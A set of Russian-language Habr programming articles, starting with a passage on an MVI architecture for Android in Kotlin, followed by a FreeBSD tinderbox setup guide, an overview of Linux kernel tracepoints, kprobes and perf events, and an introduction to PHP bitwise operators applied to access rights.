Как я уже сказал, у экрана приложения имеется свой State, способный меняться из-за действий пользователя и внешних воздействий. Было решено создать некую сущность, способную содержать пути наружу (в DI модуле конфигурируем как хотим) и обработчик side-effects, чтобы иметь инструмент для обработки нашей бизнес логики в ViewModel.
```
open class Store @Inject constructor(
val apiRepository: ApiRepository,
val preferencesRepository: PreferencesRepository,
val logger: JuleLogger,
val resources: Resources
) {
var middlewares: List> by notNull()
var reducer: Reducer by notNull()
}
```
Тут нужно остановиться - я упоминал обработчик внешних эффектов. Где он тут находится?
Обработка событий
-----------------
Как мы видим, в Store находится какое-то количество Middleware и Reducer. Мы уже знаем, что side-effects должны нести в себе какие-то данные, чтобы изменить UI, почему бы тогда каждую бизнес задачу не вынести в отдельный Middleware и держать в Store их коллекцию и обрабатывать каждый из них, принимая результат и возвращая State нашего экрана? Этим и будет заниматься Reducer.
```
abstract class Middleware(store: Store<\*, \*, \*>) {
protected val apiRepository: ApiRepository = store.apiRepository
protected val preferencesRepository: PreferencesRepository = store.preferencesRepository
protected val logger: JuleLogger = store.logger.apply { connect(javaClass) }
protected val resources: Resources = store.resources
abstract suspend fun effect(action: A): A?
suspend operator fun invoke(action: A) = effect(action)
}
interface Reducer {
fun reduce(state: S, action: A): Pair
operator fun invoke(state: S, action: A) = reduce(state, action)
}
```
Middleware содержит доступ к "ручкам", чтобы иметь возможность порождать новые Action и абстрактный метод effect(), чтобы выполнить его там.
Внимательный читатель заметил, что Middleware не просто порождает какой-то Action, но и принимает его в качестве параметра. Как я уже говорил, внешние эффекты могут быть вызваны пользователем напрямую, например явным запросом в сеть. Но ведь одни side-effects способны вызывать другие и наоборот. Мы хотим, чтобы каждый результат бизнес-задачи был "услышан" всеми остальными и, если необходимо, последовал новый side-effect. (Это вовсе не обязательно, для этого возвращаемый тип nullable)
C доменным слоем нашего приложения разобрались, теперь нужно обеспечить преобразование пришедшей извне информации на UI. Как я уже упоминал, этим будет заниматься Reducer. Что для этого нужно, помимо текущего State экрана? Очевидно, виновник торжества - Action, именно то, что будут возвращать нам Middleware'ы. Таким образом, Reducer принимает side-effect и исходя от него, меняет текущий State и вдобавок может выкинуть какое-то уведомление - News.
А что в ViewModel?
------------------
Давайте взглянем на базовую ViewModel, из важного тут - метод bind() - он будет отвечать за обработку нашего UI. В параметре приходит интерфейс MviView, на который подписан холдер данной ViewModel, в котором просто реализована отрисовка приходящих State и News.
```
abstract class BaseViewModel: ViewModel() {
private val backgroundScope = CoroutineScope(IO + SupervisorJob())
@Inject
lateinit var logger: JuleLogger
abstract val stateFlow: MutableStateFlow~~abstract val newsFlow: MutableSharedFlow
abstract val actionFlow: MutableSharedFlow
abstract val store: Store
override fun onCleared() {
super.onCleared()
backgroundScope.coroutineContext.cancelChildren()
}
fun obtainAction(action: A) {
backgroundScope.launch {
actionFlow.emit(action)
}
}
fun obtainState(state: S) {
stateFlow.value = state
}
fun bind(foregroundScope: LifecycleCoroutineScope, mviView: MviView) {
logger.connect(javaClass)
with(foregroundScope) {
launch {
stateFlow
.onEach(mviView::renderState)
.catch { logger.logException(it) }
.collect()
}
launch {
newsFlow
.onEach(mviView::renderNews)
.catch { logger.logException(it) }
.collect()
}
}
}
}~~
```
У читателя возникает логичный вопрос - раз у нас есть механизм, который все обрабатывает, и ViewModel, посылающая эти обработанные данные на UI, то как нам обеспечить, чтобы эти данные таки доходили наших state и news flow? Все это происходит в **конструкторе**.
```
init {
backgroundScope.launch {
actionFlow
.filterNotNull()
.transform {
store.middlewares.forEach { middleware ->
val effect = middleware.effect(it)
effect?.let {
logger.log("${middleware.javaClass.simpleName} effects $it")
emit(it)
}
}
}.flowOn(Default).combine(stateFlow) { a, s ->
val (reducedState, reducedNews) = store.reducer.reduce(s, a)
// Пришедший State
reducedState?.let {
stateFlow.value = it
}
// Пришедший News
reducedNews?.let {
newsFlow.emit(it)
}
}.catch {
logger.logException(it)
}.collect()
}
}
```
В этом фрагменте, пожалуй, находится ядро нашего "механизма". Каждый Action в блоке transform() уведомляет все Middleware о себе, а затем, комбинируясь с нашим state flow, проходит Reducer'а и как результат stateFlow и newsFlow потенциально получают какое-то значение и отправляются на отрисовку в UI. А что самое важное, другие Middleware обрабатывают этот Action и потенциально порождают новые изменения в UI в дальнейшем.
Каково это на практике?
-----------------------
Для примера возьмем типичный экран "Профиль". Для простоты позволим пользователю совершать logout и загрузку содержимого профиля. Так будут выглядеть State, Action и News:
```
sealed class ProfileState: State {
// Состояние экрана декларируется через ProfileModel,
// по сути отражающую наличие контента и navDirections,
// если мы хотим куда-то двигаться по приложению
data class Default(
val profile: ProfileModel? = null,
val navDirections: NavDirections? = null,
): ProfileState()
}
sealed class ProfileNews: News {
// Простое уведомление
data class Message(val duration: Int, val content: String): ProfileNews()
}
sealed class ProfileAction: Action {
// Намерения пользователя
object FetchProfile: ProfileAction()
object Logout: ProfileAction()
// То, что приходит как результат работы middleware
data class FetchProfileDone(
val profile: ProfileResponse? = null,
val interpretedError: InterpretedError? = null
): ProfileAction()
object LogoutDone: ProfileAction()
}
```
Теперь взглянем на то, как будут "общаться" Reducer и Middleware
```
// Logout
class LogoutMiddleware(store: Store<*, *, *>): Middleware(store) {
override suspend fun effect(action: ProfileAction): ProfileAction? {
var effect: ProfileAction? = null
with(action) {
// Реагируем только на этот Action
if (this is ProfileAction.Logout) {
CoroutineScope(Dispatchers.IO).launch {
preferencesRepository.clearAccessToken()
preferencesRepository.clearRefreshToken()
}
effect = ProfileAction.LogoutDone
}
}
// Возвращаем side-effect
return effect
}
}
// Загрузка профиля
class GetProfileMiddleware(store: Store<\*, \*, \*>): Middleware(store) {
override suspend fun effect(action: ProfileAction): ProfileAction? {
var effect: ProfileAction? = null
with(action) {
// Реагируем только на этот Action
if (this is ProfileAction.FetchProfile) {
// Выполняем какой-то запрос в сеть
doRequest(
responseAsync = {
apiRepository.getProfile()
},
onOk = {
effect = ProfileAction.FetchProfileDone(profile = this)
},
onApiErrorStatus = {
effect = ProfileAction.FetchProfileDone(interpretedError = this)
},
onException = {
effect = ProfileAction.FetchProfileDone(interpretedError = this)
},
)
}
}
// Возвращаем side-effect
return effect
}
}
// Обработка приходящих Action'ов
class ProfileReducer: Reducer {
override fun reduce(state: ProfileState, action: ProfileAction): Pair {
var reducedState: ProfileState? = null
var reducedNews: ProfileNews? = null
// Меняем State в зависимости от Action
when (action) {
is ProfileAction.LogoutDone -> {
// Перемещаемся в фрагмент авторизации
reducedState = ProfileState.Default(
navDirections = ContainerFragmentDirections.containerAuth()
)
}
is ProfileAction.FetchProfileDone -> {
// Вставляем модель в State и никуда не перемещаемся
reducedState = ProfileState.Default(
profile = action.profile?.profile?.let { ProfileModel(it) },
navDirections = null
)
}
}
// Возвращаем потенциальные State и News
return reducedState to reducedNews
}
}
```
И для полноты картины взглянем на части кода фрагмента
```
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
logger.connect(javaClass)
with(profileViewModel) {
bind(viewLifecycleOwner.lifecycleScope, this@ProfileFragment)
// Сразу выполняем загрузку профиля
lifecycleScope.launch {
obtainAction(ProfileAction.FetchProfile)
}
}
// По клику на кнопку выхода осуществляем выход
btnLogout.click {
viewLifecycleOwner.lifecycleScope.launch {
profileViewModel.obtainAction(ProfileAction.Logout)
}
}
}
override fun renderState(state: ProfileState) {
when (state) {
is ProfileState.Default -> {
state.navDirections?.let {
navigate(it)
profileViewModel.obtainState(state.copy(null))
}
state.profile?.let {
tvFriendsCount.text = it.friends.size.toString()
tvLogin.text = it.login
tvName.text = it.name
}
}
}
}
``` | https://habr.com/ru/post/579842/ | null | ru | null |
# Быстрая настройка tinderbox для тестирования портов FreeBSD
Предлагаемый текст адресован в первую очередь майнтейнерам портов FreeBSD и собственно коммитерам, но даже если вы пока не посылали ни одного PR категории ports, но собираетесь это сделать, или же просто не прочь узнать о методах QA применительно к коллекции портов, то думаю, вам тоже будет небезынтересно.
Собственно, речь идет о [MarcusCom Tinderbox](http://tinderbox.marcuscom.com/) — наборе скриптов, написанных Маркусом Кларком сотоварищи на основе тех, что используются для сборки официальных пакетов FreeBSD.
Вкратце, работает это так: вы задаете набор базовых систем (base system в терминологии FreeBSD; не обязательно релиз, это может быть любая стабильная ветка или -CURRENT, или даже ваша собственная сборка), деревьев портов и билдов (комбинаций из первых двух). Затем в чистом chroot-окружении вы можете собрать любой порт как пакет, и убедиться, что ничего не пропустили: все зависимости учтены, все корректно собирается, ставится и удаляется, не оставляя ничего лишнего после себя в системе. Вся метаинформация хранится в базе данных (поддерживаются MySQL и PostgreSQL), есть развитые средства обновления портов и «субстрата» целевой системы, кэширование собранных пакетов и дистфайлов, поддержка ccache и даже web-фронтенд на PHP.
Собственно, установка, настройка и примеры использования довольно подробно описаны в [документации](http://tinderbox.marcuscom.com/README/README.html), однако регулярно пользуются tinderbox лишь немногие.
Почему?
-------
Дело тут, мне кажется, в том, что авторы далеко не в первую очередь думали о простых разработчиках, которым не требуется ничего сложнее, чем просто проверить свой порт на той или иной версии FreeBSD. Не надо собирать статистику по каждому порту (build-логи, типы ошибок, когда последний раз «все работало», etc.) и хранить ее. Редко кому действительно необходим веб-доступ и сервис tinderd.
В этом смысле начальные требования необоснованно завышены. Ибо в первую очередь у человека, которому хочется быстро протестировать свои изменения перед коммитом или отправкой PR (а не разворачивать build farm с полным сбором статистики и последующей ее раздачей «прямо в веб») возникает вопрос: а зачем мне вообще база данных-то?
У типичного пользователя FreeBSD на десктопе, скорее всего, не будет никакого \*SQL кроме SQLite. Ставить MySQL или PostgreSQL только ради tinderbox просто глупо из общих соображений. ~~К счастью, совсем недавно проект был [форкнут](https://github.com/markjdb/tinderbox-WORK) с целью его улучшения (официальный репозиторий давно не обновлялся), и первым делом была добавлена поддержка SQLite.~~ По неизвестной мне причине автор удалил все свои репозитории на гитхабе. Вы можете [скачать](http://freebsd.nsu.ru/tb-sqlite.git.tgz) каталог `.git`, распаковать и выполнить команду `git reset --hard`. Теперь развернуть tinderbox можно буквально за пять-десять минут.
**Update:** с недавнего времени поддержка SQLite появилась и в [официальном репозитории](http://www.marcuscom.com:8080/cgi-bin/cvsweb.cgi/portstools/tinderbox/).
За дело!
--------
Клонируем репозиторий в каталог с коротким удобным названием `tb` и переключаемся на ветку `sqlite_support` (кроме того, создадим ссылку `scripts` на текущий каталог, т.к. мы будем работать непосредственно в нем):
```
git clone https://github.com/markjdb/tinderbox-WORK.git tb
cd tb
git checkout sqlite_support
ln -s . scripts
```
*Сразу оговорюсь, что нижеследующие команды предполагается выполнять из-под рута во избежание потенциальных проблем (хотя это не всегда обязательно).*
Теперь нужно проинициализировать настройки tinderbox, ответив на несколько простых вопросов (выбираем в качестве базы sqlite и задаем имя файла):
```
./tc Setup
```
Скрипт предупредит, что у нас не установлены некоторые зависимости, но большинство из них нужны для web-фронтенда. Нам же понадобятся только `p5-DBD-SQLite` и `lftp`. Если вы планируете поддерживать, например, -STABLE ветки и обновлять их при помощи `csup(1)`, а затем собирать через `make world`, нужно создать файл `tb/scripts/etc/env/GLOBAL`, запустив `./tc init`, но нам достаточно релизов, которые мы будем забирать по FTP, так что этот шаг можно пропустить.
Теперь надо создать то, что я выше назвал субстратом (в оригинале jails) всех версий FreeBSD, для которых мы хотим собирать пакеты. Они не имеют никакого отношения к `jail(8)`, в данном случае это всего лишь совпадающее название, поэтому я не стал переводить его дословно. В основе tinderbox лежат только `chroot(8)` и монтирование по NFS или nullfs (предпочтительнее, так как не надо ничего настраивать). Думаю, для начала ограничимся последними релизами из двух стабильных веток:
```
./tc createJail -j 7.4 -t 7.4-RELEASE -u LFTP -H ftp.freebsd.org
./tc createJail -j 8.2 -t 8.2-RELEASE -u LFTP -H ftp.freebsd.org
```
Имена должны начинаться с главного номера версии FreeBSD (это же касается и имен билдов, см. ниже). В качестве хоста (параметр `-H`) имеет смысл подставить адрес ближайшего зеркала (нам потребуются только дистсеты `base`, `dict`, `proflibs` и `src`).
Теперь надо добавить наше рабочее дерево портов — не `/usr/ports`, а которое checkout'нуто из Subversion (или, по-старинке, из CVS) и откуда мы будем создавать diff'ы для `send-pr(1)` или коммитить. Пусть это будет каталог `/home/alice/fbsd/ports` с названием `wip` (work in progress):
```
./tc createPortsTree -p wip -u NONE -m /home/alice/fbsd/ports
```
Опция `-u NONE` не случайна: мы явно указываем, что обновлять дерево портов не нужно; обычно мы обновляем его сами через `cvs^Wsvn up` (ведь это наше *рабочее* дерево). Деревьев, как и субстратов, может быть несколько, но чаще всего на машине рядового ports-хакера оно одно.
Однако, мы почти у цели. Осталось насоздавать билдов (builds): комбинаций из субстрата и дерева портов. Т.к. у нас два релиза (7.4 и 8.2) и одно дерево (wip), то билда тоже будет два:
```
./tc createBuild -b 7.4-wip -j 7.4 -p wip
./tc createBuild -b 8.2-wip -j 8.2 -p wip
```
Если мы что-то сделали не так (например, указали неверные параметры в какой-то из команд), а запись в базу уже попала, нужно будет вручную (с помощью `sqlite3 tinderbox.db`) удалить соответствующие записи (обычно из таблиц `jails`, `ports_trees` или `builds`).
В качестве локального кэша дистфайлов логично использовать уже имеющийся:
```
./tc configDistfile -c /usr/ports/distfiles
```
Собственно, все! Мы готовы собрать наш первый пакет в tinderbox. Соберем, например, `nmap` для FreeBSD-7.4 (указав, что предпочитаем монтировать каталоги через nullfs и считать проблемы с `pkg-plist` фатальными ошибками):
```
./tc tinderbuild -nullfs -plistcheck -b 7.4-wip security/nmap
```
Если все сделано правильно, спустя некоторое время у нас появятся новые пакеты в каталоге `packages/7.4-wip` и build-логи в `logs/7.4-wip` (если собрать порт или какую-либо из его зависимостей не получилось, то пакет не появится, а логи ошибок ищем в каталоге `errors/7.4-wip` и внимательно их изучаем):
```
$ find logs packages -type f -name nmap\*
logs/7.4-wip/nmap-5.51_2.log
packages/7.4-wip/All/nmap-5.51_2.tbz
```
Кроме файлов, также создаются символические ссылки по категориям порта и т.н. latest link для установки пакета через `pkg_add -r`:
```
$ find packages -type l -name nmap\*
packages/7.4-wip/Latest/nmap.tbz
packages/7.4-wip/ipv6/nmap-5.51_2.tbz
packages/7.4-wip/security/nmap-5.51_2.tbz
```
Что дальше?
-----------
В принципе, обычно большего и не надо; наша цель — уметь собирать любые порты в чистом окружении для различных версий FreeBSD и не засорять при этом свою систему ничем лишним. Конечно, возможности tinderbox гораздо шире, но их описание выходит за рамки топика, и это уже не будет «настраиваем tinderbox за пять минут». К тому же, пересказывать документацию нехорошо. :-)
В заключение я еще раз подчеркну важность чистой сборки на раннем этапе. Помните: если порт собирается на вашей системе, это еще не означает, что он соберется у всех остальных; только tinderbox обеспечивает сборку, что называется, в pristine environment. Конечно, build-кластер FreeBSD (pointyhat) делает фактически то же самое, и если пакет не собирается, то это будет выявлено, майнтейнер получит уведомление, на которое должен будет отреагировать, иначе порт пометят как BROKEN. Но на это все уходит время, т.к. portmgr@ приходится разгребать больше проблемных логов, а пользователи вынуждены довольствоваться сырым продуктом. Tinderbox, почти не требуя телодвижений с вашей стороны, при правильном использовании может сильно упростить труд многих людей и помочь повысить общее качество портов FreeBSD. | https://habr.com/ru/post/121152/ | null | ru | null |
# Механизмы профилирования Linux
Последние пару лет я пишу под ядро Linux и часто вижу, как люди страдают от незнания давнишних, общепринятых и (почти) удобных инструментов. Например, как-то раз мы отлаживали сеть на [очередной реинкарнации](http://metrotek.spb.ru/ethond.html) [нашего прибора](http://metrotek.spb.ru/b3et.html) и пытались понять, что за чудеса происходят с обработкой пакетов. Первым нашим позывом было открыть исходники ядра и вставить в нужные места `printk`, собрать логи, обработать их каким-нибудь питоном и потом долго думать. Но не зря я читал [lwn.net](http://lwn.net). Я вспомнил, что в ядре есть готовые и прекрасно работающие механизмы трассировки и профилирования ядра: те базовые механизмы, с помощью которых вы сможете собирать какие-то показания из ядра, а затем анализировать их.
В ядре Linux таких механизмов 3:
1. tracepoints
2. kprobes
3. perf events
На основе этих 3 фич ядра строятся абсолютно все профилировщики и трассировщики, которые доступны для Linux, в том числе `ftrace`, `perf`, `SystemTap`, `ktap` и другие. В этой статье я расскажу, что они (механизмы) дают, как работают, а в следующие разы мы посмотрим уже на конкретные тулзы.
Kernel tracepoints
------------------
Kernel tracepoints — это фреймворк для трассировки ядра, сделанный через статическое инструментирование кода. Да, вы правильно поняли, большинство важных функций ядра (сеть, управление памятью, планировщик) статически инструментировано. На моём ядре количество tracepoint’ов такое:
```
[etn]$ perf list tracepointt | wc -l
1271
```
Среди них есть kmalloc:
```
[etn]$ perf list tracepoint | grep "kmalloc "
kmem:kmalloc [Tracepoint event]
```
А вот так оно выглядит на самом деле в ядерной функции [`__do_kmalloc`](http://lxr.free-electrons.com/source/mm/slab.c?v=3.18#L3481):
```
/**
* __do_kmalloc - allocate memory
* @size: how many bytes of memory are required.
* @flags: the type of memory to allocate (see kmalloc).
* @caller: function caller for debug tracking of the caller
*/
static __always_inline void *__do_kmalloc(size_t size, gfp_t flags,
unsigned long caller)
{
struct kmem_cache *cachep;
void *ret;
cachep = kmalloc_slab(size, flags);
if (unlikely(ZERO_OR_NULL_PTR(cachep)))
return cachep;
ret = slab_alloc(cachep, flags, caller);
trace_kmalloc(caller, ret,
size, cachep->size, flags);
return ret;
}
```
`trace_kmalloc` — это и есть tracepoint.
Такие tracepoint’ы пишут вывод в отладочный кольцевой буфер, который можно посмотреть в /sys/kernel/debug/tracing/trace:
```
[~]# mount -t debugfs none /sys/kernel/debug
[~]# cd /sys/kernel/debug/tracing/
[tracing]# echo 1 > events/kmem/kmalloc/enable
[tracing]# tail trace
bash-10921 [000] .... 1127940.937139: kmalloc: call_site=ffffffff8122f0f5 ptr=ffff8800aaecb900 bytes_req=48 bytes_alloc=64 gfp_flags=GFP_KERNEL
bash-10921 [000] .... 1127940.937139: kmalloc: call_site=ffffffff8122f084 ptr=ffff8800ca008800 bytes_req=2048 bytes_alloc=2048 gfp_flags=GFP_KERNEL|GFP_NOWARN|GFP_NORETRY
bash-10921 [000] .... 1127940.937139: kmalloc: call_site=ffffffff8122f084 ptr=ffff8800aaecbd80 bytes_req=64 bytes_alloc=64 gfp_flags=GFP_KERNEL|GFP_NOWARN|GFP_NORETRY
tail-11005 [001] .... 1127940.937451: kmalloc: call_site=ffffffff81219297 ptr=ffff8800aecf5f00 bytes_req=240 bytes_alloc=256 gfp_flags=GFP_KERNEL|GFP_ZERO
tail-11005 [000] .... 1127940.937518: kmalloc: call_site=ffffffff81267801 ptr=ffff880123e8bd80 bytes_req=128 bytes_alloc=128 gfp_flags=GFP_KERNEL
tail-11005 [000] .... 1127940.937519: kmalloc: call_site=ffffffff81267786 ptr=ffff880077faca00 bytes_req=504 bytes_alloc=512 gfp_flags=GFP_KERNEL
```
Заметьте, что traсepoint «kmem:kmalloc», как и все остальные, по умолчанию выключен, так что его надо включить, сказав 1 в его `enable` файл.
Вы можете сами написать tracepoint для своего модуля ядра. Но, во-первых, это не так уж и просто, потому что tracepoint’ы — не самый удобный и понятный API: смотри примеры в [*samples/trace\_events/*](http://lxr.free-electrons.com/source/samples/trace_events/?v=3.18) (вообще все эти tracepoint’ы — это чёрная магия C-макросов, понять которые если и сильно захочется, то не сразу получится). А во-вторых, скорее всего, они не заработают в вашем модуле, покуда у вас включен `CONFIG_MODULE_SIG` (почти всегда да) и нет закрытого ключа для подписи (он у вендора ядра вашего дистрибутива). Смотри душераздирающие подробности в lkml [[1]](https://lkml.org/lkml/2014/2/13/488), [[2]](https://lkml.org/lkml/2014/3/4/925).
Короче говоря, tracepoint’ы простая и легковесная вещь, но пользоваться ей руками неудобно и не рекомендуется — используйте `ftrace` или `perf`.
kprobes
-------
Если tracepoint’ы — это метки статического инструментирования, то `kprobes` — это механизм динамического инструментирования кода. С помощью kprobes вы можете прервать выполнение ядерного кода в *любом* месте, вызвать свой обработчик, сделать в нём что хотите и вернуться обратно как ни в чём ни бывало.
Как это делается: вы пишете свой модуль ядра, в котором регистрируете обработчик на определённый символ ядра (читай, функцию) или вообще любой адрес.
Работает это всё следующим образом:
* Мы делаем свой модуль ядра, в котором пишем наш обработчик.
* Мы регистрируем наш обработчик на некий адрес A, будь то просто адрес или какая-нибудь функция.
* Подсистема *kprobe* копирует инструкции по адресу, А и заменяет их на CPU trap (`int 3` для x86).
* Теперь, когда выполнение кода доходит до адреса A, генерируется исключение, по которому сохраняются регистры, а управление передаётся обработчику исключительной ситуации, коим в конце концов становится *kprobes*.
* Подсистема *kprobes* смотрит на адрес исключения, находит, кто был зарегистрирован по адресу, А и вызывает наш обработчик.
* Когда наш обработчик заканчивается, регистры восстанавливаются, выполняются сохранённые инструкции, и выполнение продолжается дальше.
В ядре есть 3 вида kprobes:
* kprobes — «базовая» проба, которая позволяет прервать любое место ядра.
* jprobes — jump probe, вставляется только в начало функции, но зато даёт удобный механизм доступа к аргументам прерываемой функции для нашего обработчика. Также работает не за счёт trap’ов, а через `setjmp/longjmp` (отсюда и название), то есть более легковесна.
* kretprobes — return probe, вставляется перед выходом из функции и даёт удобный доступ к результату функции.
С помощью kprobes мы можем трассировать всё что угодно, включая код сторонних модулей. Давайте сделаем это для нашего miscdevice драйвера. Я хочу знать, что кто-то пытается писать в моё устройство, знать по какому отступу и сколько байт.
В моём miscdevice драйвере функция выглядит так:
```
ssize_t etn_write(struct file *filp, const char __user *buf,
size_t count, loff_t *f_pos)
```
Я написал [простой jprobe модуль](https://gist.github.com/dzeban/a19c711d6b6b1d72e594), который пишет в ядерный лог количество байт и смещение.
```
root@etn:~# tail -F /var/log/kern.log
Jan 1 00:00:42 etn kernel: [ 42.923717] ETN JPROBE: jprobe_init:46: Planted jprobe at bf00f7a8, handler addr bf071000
Jan 1 00:00:43 etn kernel: [ 43.194840] ETN JPROBE: trace_etn_write:23: Writing 2 bytes at offset 4
Jan 1 00:00:43 etn kernel: [ 43.201827] ETN JPROBE: trace_etn_write:23: Writing 2 bytes at offset 4
```
Короче, вещь мощная, однако пользоваться не шибко удобно: доступа к локальным переменным нет (только через отступ от `ebp`), нужно писать модуль ядра, отлаживать, загружать и т. п. Есть доступные примеры в [*samples/kprobes*](http://lxr.free-electrons.com/source/samples/kprobes/?v=3.18). Но зачем всё это, если есть SystemTap?
Perf events
-----------
Сразу скажу, что не надо путать «perf events» и программу `perf` — про программу будет сказано отдельно.
«Perf events» — это интерфейс доступа к счётчикам в PMU (Performance Monitoring Unit), который является частью CPU. Благодаря этим метрикам, вы можете с легкостью попросить ядро показать вам сколько было промахов в L1 кеше, независимо от того, какая у вас архитектура, будь то ARM или amd64. Правда, для вашего процессора должна быть поддержка в ядре:-) Относительно актуальную информацию по этому поводу можно найти [здесь](http://web.eece.maine.edu/~vweaver/projects/perf_events/support.html).
Для доступа к этим счётчикам, а также к огромной куче другого добра, была написана программа `perf`. С её помощью можно посмотреть, какие железные события нам доступны.
**Пример для x86**
```
$ perf list pmu hw sw cache
branch-instructions OR cpu/branch-instructions/ [Kernel PMU event]
branch-misses OR cpu/branch-misses/ [Kernel PMU event]
bus-cycles OR cpu/bus-cycles/ [Kernel PMU event]
cache-misses OR cpu/cache-misses/ [Kernel PMU event]
cache-references OR cpu/cache-references/ [Kernel PMU event]
cpu-cycles OR cpu/cpu-cycles/ [Kernel PMU event]
instructions OR cpu/instructions/ [Kernel PMU event]
cpu-cycles OR cycles [Hardware event]
instructions [Hardware event]
cache-references [Hardware event]
cache-misses [Hardware event]
branch-instructions OR branches [Hardware event]
branch-misses [Hardware event]
bus-cycles [Hardware event]
ref-cycles [Hardware event]
cpu-clock [Software event]
task-clock [Software event]
page-faults OR faults [Software event]
context-switches OR cs [Software event]
cpu-migrations OR migrations [Software event]
minor-faults [Software event]
major-faults [Software event]
alignment-faults [Software event]
emulation-faults [Software event]
dummy [Software event]
L1-dcache-loads [Hardware cache event]
L1-dcache-load-misses [Hardware cache event]
L1-dcache-stores [Hardware cache event]
L1-dcache-store-misses [Hardware cache event]
L1-dcache-prefetches [Hardware cache event]
L1-icache-loads [Hardware cache event]
L1-icache-load-misses [Hardware cache event]
LLC-loads [Hardware cache event]
LLC-load-misses [Hardware cache event]
LLC-stores [Hardware cache event]
LLC-store-misses [Hardware cache event]
dTLB-loads [Hardware cache event]
dTLB-load-misses [Hardware cache event]
dTLB-stores [Hardware cache event]
dTLB-store-misses [Hardware cache event]
iTLB-loads [Hardware cache event]
iTLB-load-misses [Hardware cache event]
branch-loads [Hardware cache event]
branch-load-misses [Hardware cache event]
```
**А вот что на ARM**
```
root@etn:~# perf list pmu hw sw cache
cpu-cycles OR cycles [Hardware event]
instructions [Hardware event]
cache-references [Hardware event]
cache-misses [Hardware event]
branch-instructions OR branches [Hardware event]
branch-misses [Hardware event]
stalled-cycles-frontend OR idle-cycles-frontend [Hardware event]
stalled-cycles-backend OR idle-cycles-backend [Hardware event]
ref-cycles [Hardware event]
cpu-clock [Software event]
task-clock [Software event]
page-faults OR faults [Software event]
context-switches OR cs [Software event]
cpu-migrations OR migrations [Software event]
minor-faults [Software event]
major-faults [Software event]
alignment-faults [Software event]
emulation-faults [Software event]
dummy [Software event]
L1-dcache-loads [Hardware cache event]
L1-dcache-load-misses [Hardware cache event]
L1-dcache-stores [Hardware cache event]
L1-dcache-store-misses [Hardware cache event]
L1-icache-load-misses [Hardware cache event]
dTLB-load-misses [Hardware cache event]
dTLB-store-misses [Hardware cache event]
iTLB-load-misses [Hardware cache event]
branch-loads [Hardware cache event]
branch-load-misses [Hardware cache event]
```
Видно, что x86 побогаче будет на такие вещи.
Для доступа к «perf events» был сделан специальный системный вызов [`perf_event_open`](http://web.eece.maine.edu/~vweaver/projects/perf_events/perf_event_open.html), которому вы передаёте сам event и конфиг, в котором описываете, что вы хотите с этим событием делать. В ответ вы получаете файловый дескриптор, из которого можно читать данные, собранные `perf`’ом по событию.
Поверх этого, `perf` предоставляет множество разных фич, вроде группировки событий, фильтрации, вывода в разные форматы, анализа собранных профилей и пр. Поэтому в `perf` сейчас пихают всё, что можно: от tracepoint’ов до [eBPF](https://lwn.net/Articles/643139/) и вплоть до того, что весь `ftrace` хотят сделать частью `perf` [[3]](http://thread.gmane.org/gmane.linux.kernel/1136520) [[4]](https://lkml.org/lkml/2013/10/16/15).
Короче говоря, «perf\_events» сами по себе мало интересны, а сам `perf` заслуживает отдельной статьи, поэтому для затравки покажу простой пример.
Говорим:
```
root@etn:~# perf timechart record apt-get update
...
root@etn:~# perf timechart -i perf.data -o timechart.svg
```
И получаем вот такое чудо:
Perf timechart
Вывод
-----
Таким образом, зная чуть больше про трассировку и профилирование в ядре, вы можете сильно облегчить жизнь себе и товарищам, особенно если научиться пользоваться настоящими инструментами как `ftrace`, `perf` и `SystemTap`, но об этом в другой раз.
Почитать
--------
* <https://events.linuxfoundation.org/sites/events/files/slides/kernel_profiling_debugging_tools_0.pdf>
* <http://events.linuxfoundation.org/sites/events/files/lcjp13_zannoni.pdf>
* *tracepoints*:
+ [Documentation/trace/tracepoints.txt](http://lxr.free-electrons.com/source/Documentation/trace/tracepoints.txt?v=3.13)
+ <http://lttng.org/files/thesis/desnoyers-dissertation-2009-12-v27.pdf>
+ <http://lwn.net/Articles/379903/>
+ <http://lwn.net/Articles/381064/>
+ <http://lwn.net/Articles/383362/>
* *kprobes*:
+ [Documentation/kprobes.txt](http://lxr.free-electrons.com/source/Documentation/kprobes.txt?v=3.13)
+ <https://lwn.net/Articles/132196/>
* *perf\_events*:
+ <http://web.eece.maine.edu/~vweaver/projects/perf_events/>
+ <https://lwn.net/Articles/441209/> | https://habr.com/ru/post/261003/ | null | ru | null |
# Битовые операции в PHP на примерах
Навеяно статьей [об обработке критических ошибок в PHP](http://habrahabr.ru/blogs/php/134499/). Обратил внимание, что несмотря на то, что коды ошибок в PHP специально заточены под битовые операции, тем не менее, что в примерах статьи, что в комментариях, для проверки кодов ошибок используются обычные операторы сравнения.
Например, встречались такие варианты:
```
if ($error['type'] == E_ERROR || $error['type'] == E_PARSE || $error['type'] == E_COMPILE_ERROR){…}
```
или
```
if(in_array($error['type'], array(E_ERROR, E_PARSE, E_COMPILE_ERROR)) {…}
```
В связи с этим решил написать небольшую статью о битовых операциях с примерами их использования.
#### Немного теории
Число в двоичной (бинарной) системе исчисления представляет собой набор нулей и единиц. Самый правый бит, нулевой, называется младшим значащим битом (разрядом).
Число **5** будет выглядеть, как **00000101**.
Всего в наличии 6 побитовых операторов:
**$a & $b** — И (получаем число в котором установлены биты, которые установлены в $a и в $b)
**$a | $b** — Или (получаем число в котором установлены биты, которые установлены в $a или в $b)
**$a ^ $b** — Исключающее или (число в котором установлены биты установленные в $a или в $b, но не в обоих одновременно)
**~$a** — Отрицание (инверсия, 1 меняется на 0, и наоборот)
**$a << $b** — Сдвиг влево (все биты в $a смещаются влево на количество позиций в $b)
**$a >> $b** — Сдвиг вправо (все биты в $a смещаются вправо на количество позиций в $b)
#### Практика на примерах
Для большей наглядности рассмотрим в качестве примера, простую систему разграничения прав доступа к сайту.
У нас будут доступны следующие права доступа: Чтение, Создание, Редактирование, Удаление. То есть всего 4 значения, их можно представить в виде 4-х битного числа, в котором 1 — означает, что у пользователя есть данное право, а 0 — нет. Для наглядности нарисовал картинку.
Определим для прав доступа следующие константы:
```
define('U_READ', 1 << 0); // 0001
define('U_CREATE', 1 << 1); // 0010
define('U_EDIT', 1 << 2); // 0100
define('U_DELETE', 1 << 3); // 1000
define('U_ALL', U_READ | U_CREATE | U_EDIT | U_DELETE); // 1111
```
##### Установка значений битов
Присваиваем одно право.
```
$user_perm = U_READ; // только право чтения
```
Чтобы комбинировать несколько прав используем побитовый оператор ИЛИ.
```
$user_perm = U_READ | U_DELETE; // можно читать и удалять
```
Добавляем все права с помощью заготовленной константы.
```
$user_perm = U_ALL; // все права
```
